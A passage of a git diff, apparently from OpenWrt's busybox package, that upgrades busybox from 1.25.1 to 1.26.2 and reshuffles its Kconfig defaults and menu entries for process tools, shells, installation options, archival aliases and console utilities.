+config BUSYBOX_DEFAULT_MPSTAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_SMEMCAP
+config BUSYBOX_DEFAULT_NMETER
 	bool
 	default n
-config BUSYBOX_DEFAULT_TOP
+config BUSYBOX_DEFAULT_PGREP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
+config BUSYBOX_DEFAULT_PKILL
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	default n
+config BUSYBOX_DEFAULT_PIDOF
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
+config BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
+config BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
+config BUSYBOX_DEFAULT_PMAP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_TOPMEM
+config BUSYBOX_DEFAULT_POWERTOP
 	bool
 	default n
-config BUSYBOX_DEFAULT_UPTIME
+config BUSYBOX_DEFAULT_PS
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_FREE
+config BUSYBOX_DEFAULT_FEATURE_PS_WIDE
 	bool
 	default y
-config BUSYBOX_DEFAULT_FUSER
+config BUSYBOX_DEFAULT_FEATURE_PS_LONG
 	bool
 	default n
-config BUSYBOX_DEFAULT_KILL
-	bool
-	default y
-config BUSYBOX_DEFAULT_KILLALL
+config BUSYBOX_DEFAULT_FEATURE_PS_TIME
 	bool
-	default y
-config BUSYBOX_DEFAULT_KILLALL5
+	default n
+config BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS
 	bool
 	default n
-config BUSYBOX_DEFAULT_PGREP
+config BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS
 	bool
-	default y
-config BUSYBOX_DEFAULT_PIDOF
+	default n
+config BUSYBOX_DEFAULT_PSTREE
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_PIDOF_SINGLE
+	default n
+config BUSYBOX_DEFAULT_PWDX
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_PIDOF_OMIT
+config BUSYBOX_DEFAULT_RENICE
 	bool
 	default n
-config BUSYBOX_DEFAULT_PKILL
+config BUSYBOX_DEFAULT_SMEMCAP
 	bool
 	default n
-config BUSYBOX_DEFAULT_PS
+config BUSYBOX_DEFAULT_BB_SYSCTL
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_PS_WIDE
+config BUSYBOX_DEFAULT_TOP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_PS_LONG
+config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_USAGE_PERCENTAGE
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_PS_TIME
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TOP_CPU_GLOBAL_PERCENTS
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_CPU
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_PS_ADDITIONAL_COLUMNS
+config BUSYBOX_DEFAULT_FEATURE_TOP_DECIMALS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_PS_UNUSUAL_SYSTEMS
+config BUSYBOX_DEFAULT_FEATURE_TOP_SMP_PROCESS
 	bool
 	default n
-config BUSYBOX_DEFAULT_RENICE
+config BUSYBOX_DEFAULT_FEATURE_TOPMEM
 	bool
 	default n
-config BUSYBOX_DEFAULT_BB_SYSCTL
+config BUSYBOX_DEFAULT_UPTIME
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
+config BUSYBOX_DEFAULT_FEATURE_UPTIME_UTMP_SUPPORT
 	bool
 	default n
 config BUSYBOX_DEFAULT_WATCH
 	bool
 	default n
+config BUSYBOX_DEFAULT_FEATURE_SHOW_THREADS
+	bool
+	default n
 config BUSYBOX_DEFAULT_CHPST
 	bool
 	default n
@@ -2578,6 +2617,9 @@ config BUSYBOX_DEFAULT_SV
 config BUSYBOX_DEFAULT_SV_DEFAULT_SERVICE_DIR
 	string
 	default ""
+config BUSYBOX_DEFAULT_SVC
+	bool
+	default n
 config BUSYBOX_DEFAULT_SVLOGD
 	bool
 	default n
@@ -2599,9 +2641,6 @@ config BUSYBOX_DEFAULT_LOAD_POLICY
 config BUSYBOX_DEFAULT_MATCHPATHCON
 	bool
 	default n
-config BUSYBOX_DEFAULT_RESTORECON
-	bool
-	default n
 config BUSYBOX_DEFAULT_RUNCON
 	bool
 	default n
@@ -2611,6 +2650,9 @@ config BUSYBOX_DEFAULT_FEATURE_RUNCON_LONG_OPTIONS
 config BUSYBOX_DEFAULT_SELINUXENABLED
 	bool
 	default n
+config BUSYBOX_DEFAULT_SESTATUS
+	bool
+	default n
 config BUSYBOX_DEFAULT_SETENFORCE
 	bool
 	default n
@@ -2620,15 +2662,45 @@ config BUSYBOX_DEFAULT_SETFILES
 config BUSYBOX_DEFAULT_FEATURE_SETFILES_CHECK_OPTION
 	bool
 	default n
+config BUSYBOX_DEFAULT_RESTORECON
+	bool
+	default n
 config BUSYBOX_DEFAULT_SETSEBOOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_SESTATUS
+config BUSYBOX_DEFAULT_SH_IS_ASH
+	bool
+	default y
+config BUSYBOX_DEFAULT_SH_IS_HUSH
 	bool
 	default n
+config BUSYBOX_DEFAULT_SH_IS_NONE
+	bool
+	default n
+config BUSYBOX_DEFAULT_BASH_IS_ASH
+	bool
+	default n
+config BUSYBOX_DEFAULT_BASH_IS_HUSH
+	bool
+	default n
+config BUSYBOX_DEFAULT_BASH_IS_NONE
+	bool
+	default y
 config BUSYBOX_DEFAULT_ASH
 	bool
 	default y
+config BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
+	bool
+	default n
+config BUSYBOX_DEFAULT_ASH_INTERNAL_GLOB
+	bool
+	default n
+config BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
+	bool
+	default n
+config BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
+	bool
+	default y
 config BUSYBOX_DEFAULT_ASH_BASH_COMPAT
 	bool
 	default y
@@ -2662,15 +2734,6 @@ config BUSYBOX_DEFAULT_ASH_CMDCMD
 config BUSYBOX_DEFAULT_ASH_MAIL
 	bool
 	default n
-config BUSYBOX_DEFAULT_ASH_OPTIMIZE_FOR_SIZE
-	bool
-	default n
-config BUSYBOX_DEFAULT_ASH_RANDOM_SUPPORT
-	bool
-	default n
-config BUSYBOX_DEFAULT_ASH_EXPAND_PRMT
-	bool
-	default y
 config BUSYBOX_DEFAULT_CTTYHACK
 	bool
 	default n
@@ -2725,30 +2788,12 @@ config BUSYBOX_DEFAULT_HUSH_MODE_X
 config BUSYBOX_DEFAULT_MSH
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_SH_IS_ASH
+config BUSYBOX_DEFAULT_FEATURE_SH_MATH
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_SH_IS_HUSH
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_SH_IS_NONE
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_BASH_IS_ASH
+config BUSYBOX_DEFAULT_FEATURE_SH_MATH_64
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_BASH_IS_HUSH
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_BASH_IS_NONE
-	bool
-	default y
-config BUSYBOX_DEFAULT_SH_MATH_SUPPORT
-	bool
-	default y
-config BUSYBOX_DEFAULT_SH_MATH_SUPPORT_64
-	bool
-	default y
 config BUSYBOX_DEFAULT_FEATURE_SH_EXTRA_QUIET
 	bool
 	default n
diff --git a/package/utils/busybox/Makefile b/package/utils/busybox/Makefile
index e4f159e..0937ef9 100644
--- a/package/utils/busybox/Makefile
+++ b/package/utils/busybox/Makefile
@@ -8,14 +8,14 @@
 include $(TOPDIR)/rules.mk
 
 PKG_NAME:=busybox
-PKG_VERSION:=1.25.1
-PKG_RELEASE:=2
+PKG_VERSION:=1.26.2
+PKG_RELEASE:=1
 PKG_FLAGS:=essential
 
 PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.bz2
 PKG_SOURCE_URL:=https://www.busybox.net/downloads \
 		http://sources.buildroot.net
-PKG_HASH:=27667e0f2328fdbd79cfd622e4453e5c57e58f781c5da97c9be337d93aa2a02e
+PKG_HASH:=da3e44913fc1a9c9b7c5337ea5292da518683cbff32be630777f565d6036af16
 
 PKG_BUILD_DEPENDS:=BUSYBOX_USE_LIBRPC:librpc BUSYBOX_CONFIG_PAM:libpam
 PKG_BUILD_PARALLEL:=1
diff --git a/package/utils/busybox/config/Config.in b/package/utils/busybox/config/Config.in
index 3bf67c5..3ee3aa2 100644
--- a/package/utils/busybox/config/Config.in
+++ b/package/utils/busybox/config/Config.in
@@ -10,15 +10,18 @@ config BUSYBOX_CONFIG_HAVE_DOT_CONFIG
 
 menu "Busybox Settings"
 
-menu "General Configuration"
-
 config BUSYBOX_CONFIG_DESKTOP
 	bool "Enable options for full-blown desktop systems"
 	default BUSYBOX_DEFAULT_DESKTOP
 	help
 	  Enable options and features which are not essential.
-	  Select this only if you plan to use busybox on full-blown
-	  desktop machine with common Linux distro, not on an embedded box.
+	  Select this if you plan to use busybox on full-blown desktop machine
+	  with common Linux distro, which needs higher level of command-line
+	  compatibility.
+
+	  If you are preparing your build to be used on an embedded box
+	  where you have tighter control over the entire set of userspace
+	  tools, you can unselect this option for smaller code size.
 
 config BUSYBOX_CONFIG_EXTRA_COMPAT
 	bool "Provide compatible behavior for rare corner cases (bigger code)"
@@ -57,30 +60,6 @@ config BUSYBOX_CONFIG_PLATFORM_LINUX
 	  Answering 'N' here will disable such applets and hide the
 	  corresponding configuration options.
 
-choice
-	prompt "Buffer allocation policy"
-	default BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
-	help
-	  There are 3 ways BusyBox can handle buffer allocations:
-	  - Use malloc. This costs code size for the call to xmalloc.
-	  - Put them on stack. For some very small machines with limited stack
-	    space, this can be deadly. For most folks, this works just fine.
-	  - Put them in BSS. This works beautifully for computers with a real
-	    MMU (and OS support), but wastes runtime RAM for uCLinux. This
-	    behavior was the only one available for BusyBox versions 0.48 and
-	    earlier.
-
-config BUSYBOX_CONFIG_FEATURE_BUFFERS_USE_MALLOC
-	bool "Allocate with Malloc"
-
-config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_ON_STACK
-	bool "Allocate on the Stack"
-
-config BUSYBOX_CONFIG_FEATURE_BUFFERS_GO_IN_BSS
-	bool "Allocate in the .bss section"
-
-endchoice
-
 config BUSYBOX_CONFIG_SHOW_USAGE
 	bool "Show applet usage messages"
 	default BUSYBOX_DEFAULT_SHOW_USAGE
@@ -143,131 +122,6 @@ config BUSYBOX_CONFIG_INSTALL_NO_USR
 	  will install applets only to /bin and /sbin,
 	  never to /usr/bin or /usr/sbin.
 
-config BUSYBOX_CONFIG_LOCALE_SUPPORT
-	bool "Enable locale support (system needs locale for this to work)"
-	default BUSYBOX_DEFAULT_LOCALE_SUPPORT
-	help
-	  Enable this if your system has locale support and you would like
-	  busybox to support locale settings.
-
-config BUSYBOX_CONFIG_UNICODE_SUPPORT
-	bool "Support Unicode"
-	default BUSYBOX_DEFAULT_UNICODE_SUPPORT
-	help
-	  This makes various applets aware that one byte is not
-	  one character on screen.
-
-	  Busybox aims to eventually work correctly with Unicode displays.
-	  Any older encodings are not guaranteed to work.
-	  Probably by the time when busybox will be fully Unicode-clean,
-	  other encodings will be mainly of historic interest.
-
-config BUSYBOX_CONFIG_UNICODE_USING_LOCALE
-	bool "Use libc routines for Unicode (else uses internal ones)"
-	default BUSYBOX_DEFAULT_UNICODE_USING_LOCALE
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && BUSYBOX_CONFIG_LOCALE_SUPPORT
-	help
-	  With this option on, Unicode support is implemented using libc
-	  routines. Otherwise, internal implementation is used.
-	  Internal implementation is smaller.
-
-config BUSYBOX_CONFIG_FEATURE_CHECK_UNICODE_IN_ENV
-	bool "Check $LC_ALL, $LC_CTYPE and $LANG environment variables"
-	default BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
-	help
-	  With this option on, Unicode support is activated
-	  only if locale-related variables have the value of the form
-	  "xxxx.utf8"
-
-	  Otherwise, Unicode support will be always enabled and active.
-
-config BUSYBOX_CONFIG_SUBST_WCHAR
-	int "Character code to substitute unprintable characters with"
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	default BUSYBOX_DEFAULT_SUBST_WCHAR
-	help
-	  Typical values are 63 for '?' (works with any output device),
-	  30 for ASCII substitute control code,
-	  65533 (0xfffd) for Unicode replacement character.
-
-config BUSYBOX_CONFIG_LAST_SUPPORTED_WCHAR
-	int "Range of supported Unicode characters"
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	default BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR
-	help
-	  Any character with Unicode value bigger than this is assumed
-	  to be non-printable on output device. Many applets replace
-	  such chars with substitution character.
-
-	  The idea is that many valid printable Unicode chars are
-	  nevertheless are not displayed correctly. Think about
-	  combining charachers, double-wide hieroglyphs, obscure
-	  characters in dozens of ancient scripts...
-	  Many terminals, terminal emulators, xterms etc will fail
-	  to handle them correctly. Choose the smallest value
-	  which suits your needs.
-
-	  Typical values are:
-	  126 - ASCII only
-	  767 (0x2ff) - there are no combining chars in [0..767] range
-			(the range includes Latin 1, Latin Ext. A and B),
-			code is ~700 bytes smaller for this case.
-	  4351 (0x10ff) - there are no double-wide chars in [0..4351] range,
-			code is ~300 bytes smaller for this case.
-	  12799 (0x31ff) - nearly all non-ideographic characters are
-			available in [0..12799] range, including
-			East Asian scripts like katakana, hiragana, hangul,
-			bopomofo...
-	  0 - off, any valid printable Unicode character will be printed.
-
-config BUSYBOX_CONFIG_UNICODE_COMBINING_WCHARS
-	bool "Allow zero-width Unicode characters on output"
-	default BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	help
-	  With this option off, any Unicode char with width of 0
-	  is substituted on output.
-
-config BUSYBOX_CONFIG_UNICODE_WIDE_WCHARS
-	bool "Allow wide Unicode characters on output"
-	default BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	help
-	  With this option off, any Unicode char with width > 1
-	  is substituted on output.
-
-config BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
-	bool "Bidirectional character-aware line input"
-	default BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT && !BUSYBOX_CONFIG_UNICODE_USING_LOCALE
-	help
-	  With this option on, right-to-left Unicode characters
-	  are treated differently on input (e.g. cursor movement).
-
-config BUSYBOX_CONFIG_UNICODE_NEUTRAL_TABLE
-	bool "In bidi input, support non-ASCII neutral chars too"
-	default BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE
-	depends on BUSYBOX_CONFIG_UNICODE_BIDI_SUPPORT
-	help
-	  In most cases it's enough to treat only ASCII non-letters
-	  (i.e. punctuation, numbers and space) as characters
-	  with neutral directionality.
-	  With this option on, more extensive (and bigger) table
-	  of neutral chars will be used.
-
-config BUSYBOX_CONFIG_UNICODE_PRESERVE_BROKEN
-	bool "Make it possible to enter sequences of chars which are not Unicode"
-	default BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN
-	depends on BUSYBOX_CONFIG_UNICODE_SUPPORT
-	help
-	  With this option on, on line-editing input (such as used by shells)
-	  invalid UTF-8 bytes are not substituted with the selected
-	  substitution character.
-	  For example, this means that entering 'l', 's', ' ', 0xff, [Enter]
-	  at shell prompt will list file named 0xff (single char name
-	  with char value 255), not file named '?'.
-
 config BUSYBOX_CONFIG_PAM
 	bool "Support for PAM (Pluggable Authentication Modules)"
 	default BUSYBOX_DEFAULT_PAM
@@ -275,19 +129,6 @@ config BUSYBOX_CONFIG_PAM
 	  Use PAM in some busybox applets (currently login and httpd) instead
 	  of direct access to password database.
 
-config BUSYBOX_CONFIG_FEATURE_USE_SENDFILE
-	bool "Use sendfile system call"
-	default BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  When enabled, busybox will use the kernel sendfile() function
-	  instead of read/write loops to copy data between file descriptors
-	  (for example, cp command does this a lot).
-	  If sendfile() doesn't work, copying code falls back to read/write
-	  loop. sendfile() was originally implemented for faster I/O
-	  from files to sockets, but since Linux 2.6.33 it was extended
-	  to work for many more file types.
-
 config BUSYBOX_CONFIG_LONG_OPTS
 	bool "Support for --long-options"
 	default BUSYBOX_DEFAULT_LONG_OPTS
@@ -496,9 +337,7 @@ config BUSYBOX_CONFIG_FEATURE_HAVE_RPC
 	#  This is automatically selected if any of enabled applets need it.
 	#  You do not need to select it manually.
 
-endmenu
-
-menu 'Build Options'
+comment 'Build Options'
 
 config BUSYBOX_CONFIG_STATIC
 	bool "Build BusyBox as a static binary (no shared libs)"
@@ -673,9 +512,73 @@ config BUSYBOX_CONFIG_EXTRA_LDLIBS
 	help
 	  Additional LDLIBS to pass to the linker with -l.
 
-endmenu
+comment 'Installation Options ("make install" behavior)'
+
+choice
+	prompt "What kind of applet links to install"
+	default BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
+	help
+	  Choose what kind of links to applets are created by "make install".
+
+config BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
+	bool "as soft-links"
+	help
+	  Install applets as soft-links to the busybox binary. This needs some
+	  free inodes on the filesystem, but might help with filesystem
+	  generators that can't cope with hard-links.
+
+config BUSYBOX_CONFIG_INSTALL_APPLET_HARDLINKS
+	bool "as hard-links"
+	help
+	  Install applets as hard-links to the busybox binary. This might
+	  count on a filesystem with few inodes.
+
+config BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
+	bool "as script wrappers"
+	help
+	  Install applets as script wrappers that call the busybox binary.
+
+config BUSYBOX_CONFIG_INSTALL_APPLET_DONT
+	bool "not installed"
+	help
+	  Do not install applet links. Useful when you plan to use
+	  busybox --install for installing links, or plan to use
+	  a standalone shell and thus don't need applet links.
+
+endchoice
+
+choice
+	prompt "/bin/sh applet link"
+	default BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
+	depends on BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
+	help
+	  Choose how you install /bin/sh applet link.
+
+config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
+	bool "as soft-link"
+	help
+	  Install /bin/sh applet as soft-link to the busybox binary.
+
+config BUSYBOX_CONFIG_INSTALL_SH_APPLET_HARDLINK
+	bool "as hard-link"
+	help
+	  Install /bin/sh applet as hard-link to the busybox binary.
+
+config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER
+	bool "as script wrapper"
+	help
+	  Install /bin/sh applet as script wrapper that calls
+	  the busybox binary.
+
+endchoice
 
-menu 'Debugging Options'
+config BUSYBOX_CONFIG_PREFIX
+	string "BusyBox installation prefix"
+	default BUSYBOX_DEFAULT_PREFIX
+	help
+	  Define your directory to install BusyBox files/subdirs in.
+
+comment 'Debugging Options'
 
 config BUSYBOX_CONFIG_DEBUG
 	bool "Build BusyBox with extra Debugging symbols"
@@ -769,78 +672,8 @@ endchoice
 
 endmenu
 
-menu 'Installation Options ("make install" behavior)'
-
-choice
-	prompt "What kind of applet links to install"
-	default BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
-	help
-	  Choose what kind of links to applets are created by "make install".
-
-config BUSYBOX_CONFIG_INSTALL_APPLET_SYMLINKS
-	bool "as soft-links"
-	help
-	  Install applets as soft-links to the busybox binary. This needs some
-	  free inodes on the filesystem, but might help with filesystem
-	  generators that can't cope with hard-links.
-
-config BUSYBOX_CONFIG_INSTALL_APPLET_HARDLINKS
-	bool "as hard-links"
-	help
-	  Install applets as hard-links to the busybox binary. This might
-	  count on a filesystem with few inodes.
-
-config BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
-	bool "as script wrappers"
-	help
-	  Install applets as script wrappers that call the busybox binary.
-
-config BUSYBOX_CONFIG_INSTALL_APPLET_DONT
-	bool "not installed"
-	help
-	  Do not install applet links. Useful when you plan to use
-	  busybox --install for installing links, or plan to use
-	  a standalone shell and thus don't need applet links.
-
-endchoice
-
-choice
-	prompt "/bin/sh applet link"
-	default BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
-	depends on BUSYBOX_CONFIG_INSTALL_APPLET_SCRIPT_WRAPPERS
-	help
-	  Choose how you install /bin/sh applet link.
-
-config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SYMLINK
-	bool "as soft-link"
-	help
-	  Install /bin/sh applet as soft-link to the busybox binary.
-
-config BUSYBOX_CONFIG_INSTALL_SH_APPLET_HARDLINK
-	bool "as hard-link"
-	help
-	  Install /bin/sh applet as hard-link to the busybox binary.
-
-config BUSYBOX_CONFIG_INSTALL_SH_APPLET_SCRIPT_WRAPPER
-	bool "as script wrapper"
-	help
-	  Install /bin/sh applet as script wrapper that calls
-	  the busybox binary.
-
-endchoice
-
-config BUSYBOX_CONFIG_PREFIX
-	string "BusyBox installation prefix"
-	default BUSYBOX_DEFAULT_PREFIX
-	help
-	  Define your directory to install BusyBox files/subdirs in.
-
-endmenu
-
 source libbb/Config.in
 
-endmenu
-
 comment "Applets"
 
 source archival/Config.in
diff --git a/package/utils/busybox/config/archival/Config.in b/package/utils/busybox/config/archival/Config.in
index ff4c2cf..cf47e65 100644
--- a/package/utils/busybox/config/archival/Config.in
+++ b/package/utils/busybox/config/archival/Config.in
@@ -31,7 +31,7 @@ config BUSYBOX_CONFIG_FEATURE_SEAMLESS_GZ
 	  Make tar, rpm, modprobe etc understand .gz data.
 
 config BUSYBOX_CONFIG_FEATURE_SEAMLESS_Z
-	bool "tar, rpm, modprobe etc understand .Z data"
+	bool "Make tar, rpm, modprobe etc understand .Z data"
 	default BUSYBOX_DEFAULT_FEATURE_SEAMLESS_Z  # it is ancient
 	help
 	  Make tar, rpm, modprobe etc understand .Z data.
@@ -79,10 +79,16 @@ config BUSYBOX_CONFIG_GUNZIP
 	  You can use the `-t' option to test the integrity of
 	  an archive, without decompressing it.
 
+config BUSYBOX_CONFIG_ZCAT
+	bool "zcat"
+	default BUSYBOX_DEFAULT_ZCAT
+	help
+	  Alias to "gunzip -c".
+
 config BUSYBOX_CONFIG_FEATURE_GUNZIP_LONG_OPTIONS
 	bool "Enable long options"
 	default BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS
-	depends on BUSYBOX_CONFIG_GUNZIP && BUSYBOX_CONFIG_LONG_OPTS
+	depends on (BUSYBOX_CONFIG_GUNZIP || BUSYBOX_CONFIG_ZCAT) && BUSYBOX_CONFIG_LONG_OPTS
 	help
 	  Enable use of long options.
 config BUSYBOX_CONFIG_BUNZIP2
@@ -97,6 +103,12 @@ config BUSYBOX_CONFIG_BUNZIP2
 
 	  Unless you have a specific application which requires bunzip2, you
 	  should probably say N here.
+
+config BUSYBOX_CONFIG_BZCAT
+	bool "bzcat"
+	default BUSYBOX_DEFAULT_BZCAT
+	help
+	  Alias to "bunzip2 -c".
 config BUSYBOX_CONFIG_UNLZMA
 	bool "unlzma"
 	default BUSYBOX_DEFAULT_UNLZMA
@@ -109,31 +121,47 @@ config BUSYBOX_CONFIG_UNLZMA
 	  The BusyBox unlzma applet is limited to decompression only.
 	  On an x86 system, this applet adds about 4K.
 
-config BUSYBOX_CONFIG_FEATURE_LZMA_FAST
-	bool "Optimize unlzma for speed"
-	default BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
-	depends on BUSYBOX_CONFIG_UNLZMA
+config BUSYBOX_CONFIG_LZCAT
+	bool "lzcat"
+	default BUSYBOX_DEFAULT_LZCAT
 	help
-	  This option reduces decompression time by about 25% at the cost of
-	  a 1K bigger binary.
+	  unlzma is a compression utility using the Lempel-Ziv-Markov chain
+	  compression algorithm, and range coding. Compression
+	  is generally considerably better than that achieved by the bzip2
+	  compressors.
+
+	  The BusyBox unlzma applet is limited to decompression only.
+	  On an x86 system, this applet adds about 4K.
 
 config BUSYBOX_CONFIG_LZMA
-	bool "Provide lzma alias which supports only unpacking"
+	bool "lzma -d"
 	default BUSYBOX_DEFAULT_LZMA
-	depends on BUSYBOX_CONFIG_UNLZMA
 	help
 	  Enable this option if you want commands like "lzma -d" to work.
 	  IOW: you'll get lzma applet, but it will always require -d option.
+
+config BUSYBOX_CONFIG_FEATURE_LZMA_FAST
+	bool "Optimize unlzma for speed"
+	default BUSYBOX_DEFAULT_FEATURE_LZMA_FAST
+	depends on BUSYBOX_CONFIG_UNLZMA || BUSYBOX_CONFIG_LZCAT || BUSYBOX_CONFIG_LZMA
+	help
+	  This option reduces decompression time by about 25% at the cost of
+	  a 1K bigger binary.
 config BUSYBOX_CONFIG_UNXZ
 	bool "unxz"
 	default BUSYBOX_DEFAULT_UNXZ
 	help
 	  unxz is a unlzma successor.
 
+config BUSYBOX_CONFIG_XZCAT
+	bool "xzcat"
+	default BUSYBOX_DEFAULT_XZCAT
+	help
+	  Alias to "unxz -c".
+
 config BUSYBOX_CONFIG_XZ
-	bool "Provide xz alias which supports only unpacking"
+	bool "xz -d"
 	default BUSYBOX_DEFAULT_XZ
-	depends on BUSYBOX_CONFIG_UNXZ
 	help
 	  Enable this option if you want commands like "xz -d" to work.
 	  IOW: you'll get xz applet, but it will always require -d option.
@@ -158,7 +186,7 @@ config BUSYBOX_CONFIG_CPIO
 	  cpio has 110 bytes of overheads for every stored file.
 
 	  This implementation of cpio can extract cpio archives created in the
-	  "newc" or "crc" format, it cannot create or modify them.
+	  "newc" or "crc" format.
 
 	  Unless you have a specific application which requires cpio, you
 	  should probably say N here.
@@ -198,16 +226,6 @@ config BUSYBOX_CONFIG_DPKG_DEB
 
 	  Unless you have a specific application which requires dpkg-deb,
 	  say N here.
-
-config BUSYBOX_CONFIG_FEATURE_DPKG_DEB_EXTRACT_ONLY
-	bool "Extract only (-x)"
-	default BUSYBOX_DEFAULT_FEATURE_DPKG_DEB_EXTRACT_ONLY
-	depends on BUSYBOX_CONFIG_DPKG_DEB
-	help
-	  This reduces dpkg-deb to the equivalent of
-	  "ar -p <deb> data.tar.gz | tar -zx". However it saves space as none
-	  of the extra dpkg-deb, ar or tar options are needed, they are linked
-	  to internally.
 config BUSYBOX_CONFIG_GZIP
 	bool "gzip"
 	default BUSYBOX_DEFAULT_GZIP
@@ -249,10 +267,22 @@ config BUSYBOX_CONFIG_LZOP
 	help
 	  Lzop compression/decompresion.
 
+config BUSYBOX_CONFIG_UNLZOP
+	bool "unlzop"
+	default BUSYBOX_DEFAULT_UNLZOP
+	help
+	  Lzop decompresion.
+
+config BUSYBOX_CONFIG_LZOPCAT
+	bool "lzopcat"
+	default BUSYBOX_DEFAULT_LZOPCAT
+	help
+	  Alias to "unlzop -c".
+
 config BUSYBOX_CONFIG_LZOP_COMPR_HIGH
 	bool "lzop compression levels 7,8,9 (not very useful)"
 	default BUSYBOX_DEFAULT_LZOP_COMPR_HIGH
-	depends on BUSYBOX_CONFIG_LZOP
+	depends on BUSYBOX_CONFIG_LZOP || BUSYBOX_CONFIG_UNLZOP || BUSYBOX_CONFIG_LZOPCAT
 	help
 	  High levels (7,8,9) of lzop compression. These levels
 	  are actually slower than gzip at equivalent compression ratios
diff --git a/package/utils/busybox/config/console-tools/Config.in b/package/utils/busybox/config/console-tools/Config.in
index 53937d2..e5a4bfb 100644
--- a/package/utils/busybox/config/console-tools/Config.in
+++ b/package/utils/busybox/config/console-tools/Config.in
@@ -6,7 +6,6 @@
 
 menu "Console Utilities"
 
-
 config BUSYBOX_CONFIG_CHVT
 	bool "chvt"
 	default BUSYBOX_DEFAULT_CHVT
@@ -14,27 +13,17 @@ config BUSYBOX_CONFIG_CHVT
 	help
 	  This program is used to change to another terminal.
 	  Example: chvt 4 (change to terminal /dev/tty4)
-
-config BUSYBOX_CONFIG_FGCONSOLE
-	bool "fgconsole"
-	default BUSYBOX_DEFAULT_FGCONSOLE
-	select BUSYBOX_CONFIG_PLATFORM_LINUX
-	help
-	  This program prints active (foreground) console number.
-
 config BUSYBOX_CONFIG_CLEAR
 	bool "clear"
 	default BUSYBOX_DEFAULT_CLEAR
 	help
 	  This program clears the terminal screen.
-
 config BUSYBOX_CONFIG_DEALLOCVT
 	bool "deallocvt"
 	default BUSYBOX_DEFAULT_DEALLOCVT
 	select BUSYBOX_CONFIG_PLATFORM_LINUX
 	help
 	  This program deallocates unused virtual consoles.
-
 config BUSYBOX_CONFIG_DUMPKMAP
 	bool "dumpkmap"
 	default BUSYBOX_DEFAULT_DUMPKMAP
@@ -42,14 +31,18 @@ config BUSYBOX_CONFIG_DUMPKMAP
 	help
 	  This program dumps the kernel's keyboard translation table to
 	  stdout, in binary format. You can then use loadkmap to load it.
-
+config BUSYBOX_CONFIG_FGCONSOLE
+	bool "fgconsole"
